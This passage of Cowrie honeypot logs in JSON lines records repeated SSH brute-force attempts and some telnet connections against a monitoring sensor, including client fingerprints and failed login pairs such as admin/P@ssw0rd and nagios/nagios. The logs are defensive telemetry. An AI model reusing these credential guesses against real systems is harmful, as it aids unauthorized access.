2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:06.214356Z","src_ip":"45.156.87.253","session":"a8762e428da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Aa123456.","message":"login attempt [debian/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:06.580679Z","src_ip":"45.156.87.253","session":"a8762e428da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:07.663646Z","src_ip":"45.156.87.253","session":"a8762e428da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40982,"dst_ip":"10.17.0.5","dst_port":22,"session":"949b7532f4e8","protocol":"ssh","message":"New connection: 45.156.87.253:40982 (10.17.0.5:22) [session: 949b7532f4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:09.551244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:09.555209Z","src_ip":"45.156.87.253","session":"949b7532f4e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:09.635926Z","src_ip":"45.156.87.253","session":"949b7532f4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"test","message":"login attempt [gitlab-runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:09.879184Z","src_ip":"45.156.87.253","session":"949b7532f4e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:10.962837Z","src_ip":"45.156.87.253","session":"949b7532f4e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40984,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffbba902e63b","protocol":"ssh","message":"New connection: 45.156.87.253:40984 (10.17.0.5:22) [session: ffbba902e63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:12.884661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:12.891572Z","src_ip":"45.156.87.253","session":"ffbba902e63b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:12.975428Z","src_ip":"45.156.87.253","session":"ffbba902e63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.25671672821045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:13.117308Z","src_ip":"72.167.226.244","session":"4767f837a8c8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:13.218343Z","src_ip":"45.156.87.253","session":"ffbba902e63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:14.302061Z","src_ip":"45.156.87.253","session":"ffbba902e63b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40998,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0e48d508c1","protocol":"ssh","message":"New connection: 45.156.87.253:40998 (10.17.0.5:22) [session: 4e0e48d508c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:16.363171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:16.368719Z","src_ip":"45.156.87.253","session":"4e0e48d508c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:16.449479Z","src_ip":"45.156.87.253","session":"4e0e48d508c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rootroot","message":"login attempt [user/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:16.690823Z","src_ip":"45.156.87.253","session":"4e0e48d508c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:17.776425Z","src_ip":"45.156.87.253","session":"4e0e48d508c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42544,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e871df7504","protocol":"ssh","message":"New connection: 45.156.87.253:42544 (10.17.0.5:22) [session: 62e871df7504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:19.650187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:19.654700Z","src_ip":"45.156.87.253","session":"62e871df7504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:19.735407Z","src_ip":"45.156.87.253","session":"62e871df7504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:19.979243Z","src_ip":"45.156.87.253","session":"62e871df7504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:21.069309Z","src_ip":"45.156.87.253","session":"62e871df7504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":41242,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b22e6732cb","protocol":"telnet","message":"New connection: 72.167.226.244:41242 (10.17.0.5:23) [session: 55b22e6732cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:22.782612Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42556,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb557e1da3b8","protocol":"ssh","message":"New connection: 45.156.87.253:42556 (10.17.0.5:22) [session: eb557e1da3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:22.943714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:22.947229Z","src_ip":"45.156.87.253","session":"eb557e1da3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:23.027379Z","src_ip":"45.156.87.253","session":"eb557e1da3b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:23.272078Z","src_ip":"45.156.87.253","session":"eb557e1da3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:24.354451Z","src_ip":"45.156.87.253","session":"eb557e1da3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42568,"dst_ip":"10.17.0.5","dst_port":22,"session":"b88a5d3ed21e","protocol":"ssh","message":"New connection: 45.156.87.253:42568 (10.17.0.5:22) [session: b88a5d3ed21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:26.377308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:26.380970Z","src_ip":"45.156.87.253","session":"b88a5d3ed21e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:26.461785Z","src_ip":"45.156.87.253","session":"b88a5d3ed21e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!","message":"login attempt [ubuntu/Ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:26.707122Z","src_ip":"45.156.87.253","session":"b88a5d3ed21e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":41244,"dst_ip":"10.17.0.5","dst_port":23,"session":"c456d6652ea3","protocol":"telnet","message":"New connection: 72.167.226.244:41244 (10.17.0.5:23) [session: c456d6652ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:27.136654Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:27.790281Z","src_ip":"45.156.87.253","session":"b88a5d3ed21e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41900,"dst_ip":"10.17.0.5","dst_port":22,"session":"f798beef9f8b","protocol":"ssh","message":"New connection: 45.156.87.253:41900 (10.17.0.5:22) [session: f798beef9f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:29.705769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:29.711950Z","src_ip":"45.156.87.253","session":"f798beef9f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:29.792880Z","src_ip":"45.156.87.253","session":"f798beef9f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:30.037324Z","src_ip":"45.156.87.253","session":"f798beef9f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.871296167373657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:30.141037Z","src_ip":"72.167.226.244","session":"beaac972e634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:31.122764Z","src_ip":"45.156.87.253","session":"f798beef9f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41930,"dst_ip":"10.17.0.5","dst_port":22,"session":"4326d0668c59","protocol":"ssh","message":"New connection: 45.156.87.253:41930 (10.17.0.5:22) [session: 4326d0668c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:33.121422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:28:33.145552Z","src_ip":"45.156.87.253","session":"4326d0668c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["